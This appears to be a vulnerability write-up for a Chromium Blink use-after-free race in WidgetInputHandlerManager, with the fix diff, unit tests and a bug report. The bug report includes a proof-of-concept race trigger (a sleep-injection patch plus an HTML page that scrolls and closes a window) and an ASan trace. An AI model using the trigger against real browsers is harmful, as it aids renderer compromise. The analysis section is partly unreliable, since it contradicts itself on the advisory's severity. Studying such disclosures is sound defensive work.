CVE-2026-87542
Overview
Background
- `mojo::SharedRemote`
- a reference-counted, thread-safe handle to a Mojo interface whose underlying binding state stays alive as long as any copy of the
SharedRemoteexists. - `WidgetInputHandlerManager`
- a Blink renderer class that brokers input between threads; its comment states the
WidgetInputHandlerHostis “bound on the compositor task runner but class can be called on the compositor and main thread.” - `host_`
- the member
mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost>used to call back into the browser process; before the fix it was accessed without any lock from multiple threads. - `GUARDED_BY` / `base::Lock`
- Chromium’s Clang thread-annotation and mutex primitives;
GUARDED_BY(host_lock_)declares thathost_may only be touched whilehost_lock_is held.
Root Cause Analysis
Verify before building a PoC
What the commit does not establish: Lists main-thread callers (SetMouseCapture, CancelComposition) as race victims, but only compositor-thread callers can race the main-thread reset. The UAF needs a teardown race (uncommon), not 'default'. Says the advisory gives no severity, but it says high. Omits the Disconnect cycle-break.
Before the patch, WidgetInputHandlerManager::GetWidgetInputHandlerHost() returned a raw mojom::blink::WidgetInputHandlerHost* obtained via host_.get(), and it did so with no lock protecting the host_ SharedRemote. Callers such as DidStartScrollingViewport(), ProcessTouchAction(), WebFrameWidgetImpl::SetMouseCapture(), and WidgetBase::CancelComposition() took that bare pointer and then dereferenced it (host->...), while the class is explicitly documented as callable from both the compositor and main threads. Because nothing kept the underlying binding alive for the duration of the caller’s use, another thread resetting host_ (the pre-patch teardown did an unguarded host_.reset()) could destroy the object out from under a caller that still held the raw pointer, producing a use-after-free and an unsynchronized data race on host_ itself.
The fix changes GetWidgetInputHandlerHost() to return a mojo::SharedRemote copy taken while holding the new host_lock_, so — as the added comment notes — the refcount is incremented under the lock and “remains valid for the caller even if host_ is reset on another thread after the lock is released.” The member host_ is now annotated GUARDED_BY(host_lock_), and every accessor (SetHost(), AddInterface(), the getter, and teardown) takes host_lock_, closing both the dangling-pointer and the data-race windows.
host_.get()) with no synchronization, so the remote could be freed or mutated concurrently while in use; the fix returns a lifetime-extending mojo::SharedRemote copy under host_lock_ instead of a raw pointer.Attack Path
- Enter a cross-thread input code path
Attacker-controlled web content drives input/IME/scroll activity that reaches a caller of
GetWidgetInputHandlerHost()(e.g.SetMouseCapture(),DidStartScrollingViewport(),ProcessTouchAction(), orWidgetBase::CancelComposition()), which under the old code receives a rawWidgetInputHandlerHost*. - Race a teardown against the dereference
On another thread the manager’s
host_is reset during teardown (the pre-patch unguardedhost_.reset(); the accompanying test names this pathClearClient()(inferred)), destroying the underlying remote state while the first thread still holds the now-dangling raw pointer. - Trigger the use-after-free
The first caller dereferences the stale pointer (
host->...), reading or writing freedSharedRemotestate, which the patch prevents by ensuring the returned copy holds a reference across the call. - Escalate from the freed object
Turning the freed-memory access into a controlled read/write or code execution in the renderer
(inferred)— the diff shows only the lifetime/locking fix and does not demonstrate a concrete exploitation primitive.
Impact Assessment
WidgetInputHandlerHost remote within the Blink renderer process, per the advisory’s classification “Use after free in Input.” The precondition is racing a host_ teardown against an in-flight GetWidgetInputHandlerHost() caller across the compositor and main threads. The vendor advisory rates this high severity and does not report in-the-wild exploitation; NVD scores it CVSS 8.8. The advisory metadata states only the bug class (UAF) and component (Input), and reports no exploited-in-the-wild status or severity here.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc |
modified | |
GetWidgetInputHandlerHostthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc |
modified | |
TEST_Fthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc |
modified | |
forthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc |
modified |
Files Changed
third_party/blink/renderer/core/frame/web_frame_widget_impl.ccthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager.hthird_party/blink/renderer/platform/widget/widget_base.ccthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager.ccthird_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc
Audit Directions
- Raw pointers from `SharedRemote`/`WeakPtr` gettersSearch for accessors returning
.get()or a bareT*out of amojo::SharedRemoteor other refcounted/thread-shared holder, where the caller dereferences the result later; prefer returning a value that extends lifetime. - Cross-thread members lacking `GUARDED_BY`Flag
SharedRemote/pointer members whose comments admit multi-thread access (ashost_did) but that are read or reset without a lock; the siblingviz_host_/viz_host_lock_here shows the intended pattern. - Teardown vs. in-flight use racesAudit
reset()/Disconnect()/destruction paths against concurrent getters, verifying the disconnect and reset happen atomically under the same lock that guards use, rather than as unguarded standalone statements.
Patch
From 6b68466b7f4c03c26ad5e47d1a0d600c1cad1e87 Mon Sep 17 00:00:00 2001 From: Dave Tapuska <[email protected]> Date: Wed, 05 Aug 2026 08:23:39 -0700 Subject: [PATCH] Thread-safe access to WidgetInputHandlerHost in WidgetInputHandlerManager This change protects the WidgetInputHandlerHost remote (host_) with a lock and updates GetWidgetInputHandlerHost() to return a mojo::SharedRemote copy instead of a raw pointer. This ensures safe multi-threaded access to the host. Additionally, ClearClient() now explicitly disconnects the host remote before resetting it, which breaks potential reference cycles even if other copies of the SharedRemote are still alive. Callers and unit tests have been updated accordingly. BUG=542756749 Change-Id: I660982a3521f80072e052d1865d35ac9e9142232 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8201369 Reviewed-by: Vladimir Levin <[email protected]> Commit-Queue: Dave Tapuska <[email protected]> Cr-Commit-Position: refs/heads/main@{#1674168} --- diff --git a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc index 77caf836..bcf3718 100644 --- a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc +++ b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc @@ -3573,7 +3573,7 @@ bool has_transient_user_activation, bool request_unadjusted_movement, mojom::blink::WidgetInputHandlerHost::RequestMouseLockCallback callback) { - mojom::blink::WidgetInputHandlerHost* host = + auto host = widget_base_->widget_input_handler_manager()->GetWidgetInputHandlerHost(); // If we don't have a host just leave the callback uncalled. This simulates @@ -4397,7 +4397,7 @@ void WebFrameWidgetImpl::SetPanAction(mojom::blink::PanAction pan_action) { if (!widget_base_->widget_input_handler_manager()) return; - mojom::blink::WidgetInputHandlerHost* host = + auto host = widget_base_->widget_input_handler_manager()->GetWidgetInputHandlerHost(); if (!host) return; @@ -4463,18 +4463,16 @@ } void WebFrameWidgetImpl::SetMouseCapture(bool capture) { - if (mojom::blink::WidgetInputHandlerHost* host = - widget_base_->widget_input_handler_manager() - ->GetWidgetInputHandlerHost()) { + if (auto host = widget_base_->widget_input_handler_manager() + ->GetWidgetInputHandlerHost()) { host->SetMouseCapture(capture); } } void WebFrameWidgetImpl::NotifyAutoscrollForSelectionInMainFrame( bool autoscroll_selection) { - if (mojom::blink::WidgetInputHandlerHost* host = - widget_base_->widget_input_handler_manager() - ->GetWidgetInputHandlerHost()) { + if (auto host = widget_base_->widget_input_handler_manager() + ->GetWidgetInputHandlerHost()) { host->SetAutoscrollSelectionActiveInMainFrame(autoscroll_selection); } diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc index ac88ecc..4bb61ba1 100644 --- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc +++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc @@ -330,6 +330,7 @@ void WidgetInputHandlerManager::SetHost( mojo::PendingRemote<mojom::blink::WidgetInputHandlerHost> host) { DCHECK(main_thread_task_runner_->BelongsToCurrentThread()); + base::AutoLock lock(host_lock_); CHECK(host && !host_); if (compositor_thread_default_task_runner_) { host_ = mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost>( @@ -401,7 +402,10 @@ void WidgetInputHandlerManager::AddInterface( mojo::PendingReceiver<mojom::blink::WidgetInputHandler> receiver) { DCHECK(main_thread_task_runner_->BelongsToCurrentThread()); - CHECK(host_); + { + base::AutoLock lock(host_lock_); + CHECK(host_); + } if (compositor_thread_default_task_runner_) { // Mojo channel bound on compositor thread. compositor_thread_default_task_runner_->PostTask( @@ -517,8 +521,7 @@ void WidgetInputHandlerManager::DidStartScrollingViewport() { DCHECK(InputThreadTaskRunner()->BelongsToCurrentThread()); - if (mojom::blink::WidgetInputHandlerHost* host = - GetWidgetInputHandlerHost()) { + if (auto host = GetWidgetInputHandlerHost()) { host->DidStartScrollingViewport(); } @@ -536,8 +539,7 @@ void WidgetInputHandlerManager::ProcessTouchAction( cc::TouchAction touch_action) { DCHECK(main_thread_task_runner_->BelongsToCurrentThread()); - if (mojom::blink::WidgetInputHandlerHost* host = - GetWidgetInputHandlerHost()) { + if (auto host = GetWidgetInputHandlerHost()) { host->SetTouchActionFromMain(touch_action); } @@ -546,11 +548,14 @@ } } -mojom::blink::WidgetInputHandlerHost* +mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> WidgetInputHandlerManager::GetWidgetInputHandlerHost() { - if (host_) - return host_.get(); - return nullptr; + base::AutoLock lock(host_lock_); + // Returning a copy of the SharedRemote increments the refcount of the + // underlying state while under the lock, ensuring it remains valid for the + // caller even if host_ is reset on another thread after the lock is + // released. + return host_; } mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> @@ -1271,7 +1276,13 @@ } viz_host_.reset(); } - host_.reset(); + { + base::AutoLock lock(host_lock_); + if (host_) { + host_.Disconnect(); + } + host_.reset(); + } } void WidgetInputHandlerManager::UpdateBrowserControlsState( diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.h b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.h index 6ccce0d..af6eb26 100644 --- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.h +++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.h @@ -138,7 +138,8 @@ void ProcessTouchAction(cc::TouchAction touch_action); - mojom::blink::WidgetInputHandlerHost* GetWidgetInputHandlerHost(); + mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> + GetWidgetInputHandlerHost(); mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> GetVizWidgetInputHandlerHost(); @@ -335,7 +336,9 @@ // The WidgetInputHandlerHost is bound on the compositor task runner // but class can be called on the compositor and main thread. - mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> host_; + base::Lock host_lock_; + mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> host_ + GUARDED_BY(host_lock_); base::Lock viz_host_lock_; mojo::SharedRemote<mojom::blink::WidgetInputHandlerHost> viz_host_ GUARDED_BY(viz_host_lock_); diff --git a/third_party/blink/renderer/platform/widget/widget_base.cc b/third_party/blink/renderer/platform/widget/widget_base.cc index 3880f16c..1d62e67 100644 --- a/third_party/blink/renderer/platform/widget/widget_base.cc +++ b/third_party/blink/renderer/platform/widget/widget_base.cc @@ -1485,8 +1485,7 @@ frame_widget->UpdateCursorAnchorInfo(/*update_requested=*/true); return; } - if (mojom::blink::WidgetInputHandlerHost* host = - widget_input_handler_manager_->GetWidgetInputHandlerHost()) { + if (auto host = widget_input_handler_manager_->GetWidgetInputHandlerHost()) { host->ImeCompositionRangeChanged(composition_range_, composition_character_bounds_); } @@ -1664,7 +1663,7 @@ // If we failed to set the composition text, then we need to let the browser // process to cancel the input method's ongoing composition session, to make // sure we are in a consistent state. - if (mojom::blink::WidgetInputHandlerHost* host = + if (auto host = widget_input_handler_manager_->GetWidgetInputHandlerHost()) { host->ImeCancelComposition(); } @@ -1777,7 +1776,7 @@ } void WidgetBase::CancelComposition() { - if (mojom::blink::WidgetInputHandlerHost* host = + if (auto host = widget_input_handler_manager_->GetWidgetInputHandlerHost()) { host->ImeCancelComposition(); } diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc index 56f6111a..3786b45 100644 --- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc +++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc @@ -279,4 +279,90 @@ run_loop.Run(); } +TEST_F(WidgetInputHandlerManagerTest, ClearClientBreaksCycleEvenIfCopiesExistForHost) { + scoped_refptr<WidgetInputHandlerManager> manager = + WidgetInputHandlerManager::Create( + widget_base_->GetWeakPtr(), frame_widget_input_handler_, + /*never_composited=*/false, + /*compositor_thread_scheduler=*/nullptr, widget_scheduler_, + /*uses_input_handler=*/false, + /*allow_scroll_resampling=*/false, + /*io_thread_id=*/base::kInvalidThreadId, + /*main_thread_id=*/base::PlatformThread::CurrentId()); + + mojo::PendingRemote<mojom::blink::WidgetInputHandlerHost> host_remote; + auto receiver = host_remote.InitWithNewPipeAndPassReceiver(); + + manager->SetHost(std::move(host_remote)); + + // Get a copy of the SharedRemote and keep it alive in the test. + auto host_copy = manager->GetWidgetInputHandlerHost(); + + base::RunLoop run_loop; + manager->set_destruction_callback_for_testing(run_loop.QuitClosure()); + + // Call ClearClient(). This should call host_.Disconnect() and break the cycle + // even though host_copy is still alive. + manager->ClearClient(); + + // Drop the main reference. + manager = nullptr; + + // The manager should be destroyed. + run_loop.Run(); +} + +TEST_F(WidgetInputHandlerManagerTest, MultiThreadedHostAccess) { + std::atomic<bool> start_flag{false}; + std::atomic<int> threads_ready{0}; + std::atomic<int> threads_finished{0}; + const int kOpsPerThread = 1000; + + scoped_refptr<WidgetInputHandlerManager> manager = + WidgetInputHandlerManager::Create( + widget_base_->GetWeakPtr(), frame_widget_input_handler_, + /*never_composited=*/false, + /*compositor_thread_scheduler=*/nullptr, widget_scheduler_, + /*uses_input_handler=*/false, + /*allow_scroll_resampling=*/false, + /*io_thread_id=*/base::kInvalidThreadId, + /*main_thread_id=*/base::PlatformThread::CurrentId()); + + mojo::PendingRemote<mojom::blink::WidgetInputHandlerHost> host_remote; + auto receiver = host_remote.InitWithNewPipeAndPassReceiver(); + manager->SetHost(std::move(host_remote)); + + auto reader_runner = base::ThreadPool::CreateSequencedTaskRunner({}); + + auto reader_worker = [&]() { + threads_ready++; + while (!start_flag.load(std::memory_order_acquire)) { + std::this_thread::yield(); + } + + for (int i = 0; i < kOpsPerThread; ++i) { + manager->GetWidgetInputHandlerHost(); + } + threads_finished++; + }; + + reader_runner->PostTask(FROM_HERE, base::BindLambdaForTesting(reader_worker)); + + threads_ready++; + while (threads_ready.load(std::memory_order_relaxed) < 2) { + std::this_thread::yield(); + } + + start_flag.store(true, std::memory_order_release); + + for (int i = 0; i < kOpsPerThread; ++i) { + manager->GetWidgetInputHandlerHost(); + } + threads_finished++; + + while (threads_finished.load(std::memory_order_relaxed) < 2) { + std::this_thread::yield(); + } +} + } // namespace blink::test
Regression Test / PoC
diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc
index 56f6111a..3786b45 100644
--- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc
+++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager_unittest.cc
@@ -279,4 +279,90 @@
run_loop.Run();
}
+TEST_F(WidgetInputHandlerManagerTest, ClearClientBreaksCycleEvenIfCopiesExistForHost) {
+ scoped_refptr<WidgetInputHandlerManager> manager =
+ WidgetInputHandlerManager::Create(
+ widget_base_->GetWeakPtr(), frame_widget_input_handler_,
+ /*never_composited=*/false,
+ /*compositor_thread_scheduler=*/nullptr, widget_scheduler_,
+ /*uses_input_handler=*/false,
+ /*allow_scroll_resampling=*/false,
+ /*io_thread_id=*/base::kInvalidThreadId,
+ /*main_thread_id=*/base::PlatformThread::CurrentId());
+
+ mojo::PendingRemote<mojom::blink::WidgetInputHandlerHost> host_remote;
+ auto receiver = host_remote.InitWithNewPipeAndPassReceiver();
+
+ manager->SetHost(std::move(host_remote));
+
+ // Get a copy of the SharedRemote and keep it alive in the test.
+ auto host_copy = manager->GetWidgetInputHandlerHost();
+
+ base::RunLoop run_loop;
+ manager->set_destruction_callback_for_testing(run_loop.QuitClosure());
+
+ // Call ClearClient(). This should call host_.Disconnect() and break the cycle
+ // even though host_copy is still alive.
+ manager->ClearClient();
+
+ // Drop the main reference.
+ manager = nullptr;
+
+ // The manager should be destroyed.
+ run_loop.Run();
+}
+
+TEST_F(WidgetInputHandlerManagerTest, MultiThreadedHostAccess) {
+ std::atomic<bool> start_flag{false};
+ std::atomic<int> threads_ready{0};
+ std::atomic<int> threads_finished{0};
+ const int kOpsPerThread = 1000;
+
+ scoped_refptr<WidgetInputHandlerManager> manager =
+ WidgetInputHandlerManager::Create(
+ widget_base_->GetWeakPtr(), frame_widget_input_handler_,
+ /*never_composited=*/false,
+ /*compositor_thread_scheduler=*/nullptr, widget_scheduler_,
+ /*uses_input_handler=*/false,
+ /*allow_scroll_resampling=*/false,
+ /*io_thread_id=*/base::kInvalidThreadId,
+ /*main_thread_id=*/base::PlatformThread::CurrentId());
+
+ mojo::PendingRemote<mojom::blink::WidgetInputHandlerHost> host_remote;
+ auto receiver = host_remote.InitWithNewPipeAndPassReceiver();
+ manager->SetHost(std::move(host_remote));
+
+ auto reader_runner = base::ThreadPool::CreateSequencedTaskRunner({});
+
+ auto reader_worker = [&]() {
+ threads_ready++;
+ while (!start_flag.load(std::memory_order_acquire)) {
+ std::this_thread::yield();
+ }
+
+ for (int i = 0; i < kOpsPerThread; ++i) {
+ manager->GetWidgetInputHandlerHost();
+ }
+ threads_finished++;
+ };
+
+ reader_runner->PostTask(FROM_HERE, base::BindLambdaForTesting(reader_worker));
+
+ threads_ready++;
+ while (threads_ready.load(std::memory_order_relaxed) < 2) {
+ std::this_thread::yield();
+ }
+
+ start_flag.store(true, std::memory_order_release);
+
+ for (int i = 0; i < kOpsPerThread; ++i) {
+ manager->GetWidgetInputHandlerHost();
+ }
+ threads_finished++;
+
+ while (threads_finished.load(std::memory_order_relaxed) < 2) {
+ std::this_thread::yield();
+ }
+}
+
} // namespace blink::test
Original Bug Report
Use-after-free in blink::WidgetInputHandlerManager::DidStartScrollingViewport
This is a discovery of Project BigSleep (w/ Grape, a variant analysis mode).
Summary:
Commit b76a9f8c73221ee3421ce26e5ef6a006e34aa7b8 addressed a thread-safety Use-After-Free widget_input_handler_manager.h by introducing a lock and returning a ref-counted copy instead of a raw pointer. However, the fix missed an identical pattern on the companion member variable host_
Key Conditions
- Condition 1: Unprotected Raw Pointer Return
Unlike GetVizWidgetInputHandlerHost(), GetWidgetInputHandlerHost() still calls .get() on host_ (a mojo::SharedRemotemojom::blink::WidgetInputHandlerHost), returning a raw pointer without taking a ref-counted copy or acquiring a lock.
// in third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
mojom::blink::WidgetInputHandlerHost*
WidgetInputHandlerManager::GetWidgetInputHandlerHost() {
if (host_)
return host_.get(); // <-- Unguarded raw pointer to underlying interface
return nullptr;
}
- Condition 2: Unsynchronized Reset on the Main Thread Methods running on the Main Thread, such as ClearClient(), reset host_ without synchronization.
// in third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
void WidgetInputHandlerManager::ClearClient() {
DCHECK(main_thread_task_runner_->BelongsToCurrentThread());
input_event_queue_->ClearClient();
{
base::AutoLock lock(viz_host_lock_);
if (viz_host_) {
viz_host_.Disconnect();
}
viz_host_.reset();
}
host_.reset(); // <-- Resets host_ on Main Thread without locking
}
- Condition 3: Concurrent Usage on the Input Thread (The Race / UAF) Methods running on the Input Thread, such as DidStartScrollingViewport(), acquire the raw interface pointer. If the Main Thread concurrently resets host_ after the null check, dereferencing host results in a Use-After-Free on the destroyed Mojo proxy.
// in third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
void WidgetInputHandlerManager::DidStartScrollingViewport() {
DCHECK(InputThreadTaskRunner()->BelongsToCurrentThread());
if (mojom::blink::WidgetInputHandlerHost* host =
GetWidgetInputHandlerHost()) {
// <-- UAF occurs if ClearClient() runs concurrently on the Main Thread here
host->DidStartScrollingViewport();
}
// ...
}
Recommended Fix:
Protect host_ with a lock (similarly to viz_host_lock_) and change GetWidgetInputHandlerHost() to return a copy of mojo::SharedRemotemojom::blink::WidgetInputHandlerHost to ensure the underlying reference remains alive while in use by callers on other threads.
Reproduction Steps
Apply diff to chromium 153.0.7981.3. Note this patch only add a sleep to simulate race condition and do not change any logic.
Build chrome with following argos
is_debug=false
is_asan=true
Then run
timeout 30 /path/to/src/out/153.0.7981.3/chrome --headless=new --disable-gpu-sandbox --no-sandbox --user-data-dir=/tmp/poc_b76_data --enable-gpu-benchmarking --disable-popup-blocking --enable-logging=stderr "file://${DIR}/poc.html" 2>&1
Impacted Version
Only tested on 153.0.7981.3, gLinux
PoC
diff --git a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
index e2dfdb171a0a3..e10076fdef38c 100644
--- a/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
+++ b/third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc
@@ -28,6 +28,7 @@
#include "base/types/optional_ref.h"
#include "base/types/pass_key.h"
#include "build/build_config.h"
+#include "base/threading/platform_thread.h"
#include "cc/base/features.h"
#include "cc/input/browser_controls_offset_tag_modifications.h"
#include "cc/metrics/event_metrics.h"
@@ -519,6 +520,7 @@ void WidgetInputHandlerManager::DidStartScrollingViewport() {
DCHECK(InputThreadTaskRunner()->BelongsToCurrentThread());
if (mojom::blink::WidgetInputHandlerHost* host =
GetWidgetInputHandlerHost()) {
+ base::PlatformThread::Sleep(base::Seconds(3));
host->DidStartScrollingViewport();
}
<!DOCTYPE html>
<html>
<body>
<button id="go">Go</button>
<script>
document.getElementById('go').onclick = () => {
let w = window.open('about:blank', '_blank', 'width=300,height=300');
w.document.write('<div style="height:2000px;background:red;"></div>');
w.document.close();
if (!w.chrome || !w.chrome.gpuBenchmarking) {
console.log("no benchmarking");
return;
}
w.chrome.gpuBenchmarking.smoothScrollBy(100, () => {});
setTimeout(() => {
console.log("Closing window!");
w.close();
}, 1500); // Trigger while InputThread is sleeping
};
// Auto click
setTimeout(() => document.getElementById('go').click(), 100);
</script>
</body>
</html>
ASan Stacktrace
=================================================================
==1087104==ERROR: AddressSanitizer: heap-use-after-free on address 0x7bbe4aebb1a0 at pc 0x55c563f05f2d bp 0x7b89ba529ad0 sp 0x7b89ba529ac8
READ of size 8 at 0x7bbe4aebb1a0 thread T9 (Compositor)
#0 0x55c563f05f2c in blink::WidgetInputHandlerManager::DidStartScrollingViewport() third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc:524:11
#1 0x55c563f35a65 in blink::InputHandlerProxy::HandleGestureScrollBegin(blink::WebGestureEvent const&, cc::EventMetrics*) third_party/blink/renderer/platform/widget/input/input_handler_proxy.cc:1241:18
#2 0x55c563f32d68 in blink::InputHandlerProxy::RouteToTypeSpecificHandler(blink::EventWithCallback*) third_party/blink/renderer/platform/widget/input/input_handler_proxy.cc:884:14
#3 0x55c563f30765 in blink::InputHandlerProxy::DispatchSingleInputEvent(std::__Cr::unique_ptr<blink::EventWithCallback, std::__Cr::default_delete<blink::EventWithCallback>>) third_party/blink/renderer/platform/widget/input/input_handler_proxy.cc:576:7
#4 0x55c563f2f7bd in blink::InputHandlerProxy::HandleInputEventWithLatencyInfo(std::__Cr::unique_ptr<blink::WebCoalescedInputEvent, std::__Cr::default_delete<blink::WebCoalescedInputEvent>>, std::__Cr::unique_ptr<cc::EventMetrics, std::__Cr::default_delete<cc::EventMetrics>>, base::OnceCallback<void (blink::InputHandlerProxy::EventDisposition, std::__Cr::unique_ptr<blink::WebCoalescedInputEvent, std::__Cr::default_delete<blink::WebCoalescedInputEvent>>, std::__Cr::unique_ptr<blink::InputHandlerProxy::DidOverscrollParams, std::__Cr::default_delete<blink::InputHandlerProxy::DidOverscrollParams>>, blink::WebInputEventAttribution const&, std::__Cr::unique_ptr<cc::EventMetrics, std::__Cr::default_delete<cc::EventMetrics>>)>) third_party/blink/renderer/platform/widget/input/input_handler_proxy.cc:496:3
#5 0x55c563f0a0c7 in blink::WidgetInputHandlerManager::DispatchEvent(std::__Cr::unique_ptr<blink::WebCoalescedInputEvent, std::__Cr::default_delete<blink::WebCoalescedInputEvent>>, base::OnceCallback<void (blink::mojom::InputEventResultSource, ui::LatencyInfo const&, blink::mojom::InputEventResultState, mojo::StructPtr<blink::mojom::blink::DidOverscrollParams>, mojo::StructPtr<blink::mojom::blink::TouchActionOptional>)>) third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc:786:27
#6 0x55c563f7c607 in blink::WidgetInputHandlerImpl::DispatchEvent(std::__Cr::unique_ptr<blink::WebCoalescedInputEvent, std::__Cr::default_delete<blink::WebCoalescedInputEvent>>, std::__Cr::optional<std::__Cr::unique_ptr<blink::WebCoalescedInputEvent, std::__Cr::default_delete<blink::WebCoalescedInputEvent>>>, base::OnceCallback<void (blink::mojom::InputEventResultSource, ui::LatencyInfo const&, blink::mojom::InputEventResultState, mojo::StructPtr<blink::mojom::blink::DidOverscrollParams>, mojo::StructPtr<blink::mojom::blink::TouchActionOptional>)>) third_party/blink/renderer/platform/widget/input/widget_input_handler_impl.cc:210:27
#7 0x55c5429ab955 in blink::mojom::blink::WidgetInputHandlerStubDispatch::AcceptWithResponder(blink::mojom::blink::WidgetInputHandler*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/third_party/blink/public/mojom/input/input_handler.mojom-blink.cc:9147:13
#8 0x55c54ea66a96 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
#9 0x55c54ea90506 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#10 0x55c54ea6e711 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#11 0x55c54eaa48a3 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:1223:42
#12 0x55c54eaa2417 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:809:7
#13 0x55c54ea90506 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#14 0x55c54ea59171 in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) mojo/public/cpp/bindings/lib/connector.cc:571:49
#15 0x55c54ea5ac37 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:632:14
#16 0x55c54ea5a587 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) mojo/public/cpp/bindings/lib/connector.cc:452:3
#17 0x55c54ea5cad8 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) base/functional/bind_internal.h:740:12
#18 0x55c53270b065 in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & base/functional/callback.h:346:12
#19 0x55c53270adaa in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) base/functional/bind_internal.h:673:12
#20 0x55c54308c59c in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & base/functional/callback.h:346:12
#21 0x55c54eb3723b in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:286:14
#22 0x55c54eb37a11 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:97:22
#23 0x55c54eb344a5 in mojo::SimpleWatcher::Context::CallNotify(MojoTrapEvent const*) mojo/public/cpp/system/simple_watcher.cc:61:14
#24 0x55c52b8dfe2f in mojo::core::ipcz_driver::MojoTrap::DispatchEvent(MojoTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:607:3
#25 0x55c52b8dbb5f in mojo::core::ipcz_driver::MojoTrap::DispatchOrQueueEvent(mojo::core::ipcz_driver::MojoTrap::Trigger&, MojoTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:577:5
#26 0x55c52b8df139 in mojo::core::ipcz_driver::MojoTrap::HandleEvent(IpczTrapEvent const&) mojo/core/ipcz_driver/mojo_trap.cc:459:3
#27 0x55c52b8de0cc in mojo::core::ipcz_driver::MojoTrap::TrapEventHandler(IpczTrapEvent const*) mojo/core/ipcz_driver/mojo_trap.cc:393:41
